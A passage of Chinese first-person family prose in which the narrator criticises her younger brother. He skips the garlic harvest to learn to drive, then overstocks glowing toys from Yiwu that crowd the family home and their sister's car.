    “能挣钱！我准备花两万块钱，买辆小汽车。开着它，天天去赶集。”


    “买车来你得会开啊，你还没学车呢！”我说。


    “嗯，我过阵子就去学车去！”


    起蒜的时候，我弟弟决定去学车了。他每天上午在固定的时间去青羊山镇上等公交车。地里，地头，路上，都是忙着起蒜的人，拉蒜的拖拉机。起蒜最抢时间最缺人手，老百姓都忙地跟个土驴似的，连个吃饭放屁的空儿都没有了。我弟弟不在家帮忙，非要去学车。他一走，我妈妈顾不起人，就一个人干。


    我弟弟每天一个人走着去青羊山镇上坐车去县里学车。从他的角度考虑，学车刻不容缓，的确没错。可是，他学车学地不是时候。赶在家里最忙的时候学车。他是一点都不为家里考虑了。而地里的那些一坨一坨的大蒜，全是给他的。他可不管，全留给我妈妈一个人干。是的，在撂挑子这方面，他是首屈一指的。


    我妈妈自己干活也是干地急急的，但是我弟弟说他要学车，我妈妈也是没有办法。每天，他在我妈妈厌烦又无奈的眼神里抬腿就走，急自己之所急，不管老妈累死累活。他走地很突然也很孤独。因为大多数人都在地里忙着起蒜，没有几个人还有心思去县里。


    可是我的弟弟，他自己垂手走在绿杨阴里，这是义无反顾还是厚颜无耻？我说不清楚。我觉得厚颜无耻的成分多一些。


    只顾自己贪图享乐，厚颜无耻地置劳苦大众的死活于不顾。


    不得不说，成功者和失败者都非常需要这些过硬的心理素质。


    我弟弟学车归来，我妈妈每天跟着我弟弟一起去青羊山街卖小玩具。


    是的，当爹做娘的，得永远被自己的儿子孙子“割韭菜”。


    他晚上也去摆摊，卖那些白色的各种动物造型的发光的小电灯。一闪一闪亮晶晶，很是可爱。我妈妈跟着他一起去。他们娘儿两个，下午出门，到了晚上七八点钟，我弟弟开着他的小汽车，“七里哐当，七里哐当”地，带着我妈妈回家了。


    “今天卖地还可以。”我弟弟笑嘻嘻地说，“遇到笑笑了，给她小孩儿几个小玩具。小孩儿都喜欢这个。”


    我妹妹打电话过来了：“姐，俺今天吃完饭，带着小孩去青羊山街上溜达，看见俺哥了，他在摆摊卖小玩具的。那些小羊，小老鼠，一闪一闪的，还蛮好玩的。买的人还蛮多的，就是不知道以后还有人买吧。”


    “谁知道啊。”我说，“咱都巴不得他能发财。”


    “生意蛮好的，我再去义乌进趟货，别不够卖了。”我弟弟说。


    “行。”我妈妈说。


    我弟弟就去了义乌。他在义乌给我妈妈打了电话：“妈，我看这些小玩具蛮好的，咱卖地也好。我多进一点吧，存着，别不够卖的了。”


    “行！好！”我妈妈说。


    “那我进一万块钱的货。就这样说了哈，人家马上就发货了。我还得赶紧回家等着接货。”我知道，说这话的时候，我弟弟的身边一定是站着一个谈笑间樯橹灰飞烟灭的老板。他在我弟弟的耳边起劲儿地鼓吹着。只有这样，我弟弟的头脑才能足够发烫发热。哦，又或许，那个老板还是个女的。那就这就更好办了。我弟弟在那个老板的吹捧和鼓吹下，他的发财的万丈雄心又像个热气球一样升腾起来了。他简直俨然就像个有足够财力的老板似的，要跟那个忽悠他的老板称兄道弟了。


    我弟弟进了一批新货，又去青羊山街上卖小玩具了。


    过了一阵子，我妹妹给我打电话说：“姐，俺哥又在卖小玩具了。我觉得他卖地货不行。谁天天买小玩具哎。又不是吃的喝的。我看他那些小玩具也不行，小蛇，小蜥蜴，都太小了。现在哪还有多少人买这个。人家别人卖的小玩具都比他卖地好玩儿。”


    我说：“是的，他卖地那些玩具都过时了，不新奇了。你回头见了他，也跟他说说。”


    我妹妹说：“我跟他说了。他又不听。我看不好卖。”


    我说：“你说怎么办呢？他进了一万块钱的货呢。”


    我妹妹说：“是的，咱家他都搁不下了，还拉了一车放俺家来，把俺家的小汽车给占上了。你说他愣不愣？他怎么进恁么多的？他什么时候能卖完啊？”


    我说：“谁知道啊，咱说的他又不听。他说什么咱妈听什么。鸿雁还把一堆小玩具搁恁家了？你说他干的什么事儿？怎么他干什么都得扯上人家的？”


    我妹妹说：“谁知道他来。所以我一提他就头疼，就害怕。”


    等我回到家，我看到我家的那两间东屋里，堆着一个个蓝色的塑料框子，摞地多高。


    我问我妈妈：“这些都是鸿雁的小玩具吗？”


    我妈妈说：“哪是的？这才多少啊？他拉了一大车回来，咱家搁不下，都搁笑笑家了。”


    我说：“咱家搁不下，人家搁的下啊？”


    我妈妈说：“搁她家车上。”


    我说：“人家不用车啊。他搁人家，不耽误人家用车啊。又占人家的地方又耽误人家。他做事非得这样。”


    我妈妈说：“没事儿，搁着，等卖完蒜，我骑着三轮车，一点点儿地带着去卖。”


    我说：“我看着，光咱家的，就愁死了。”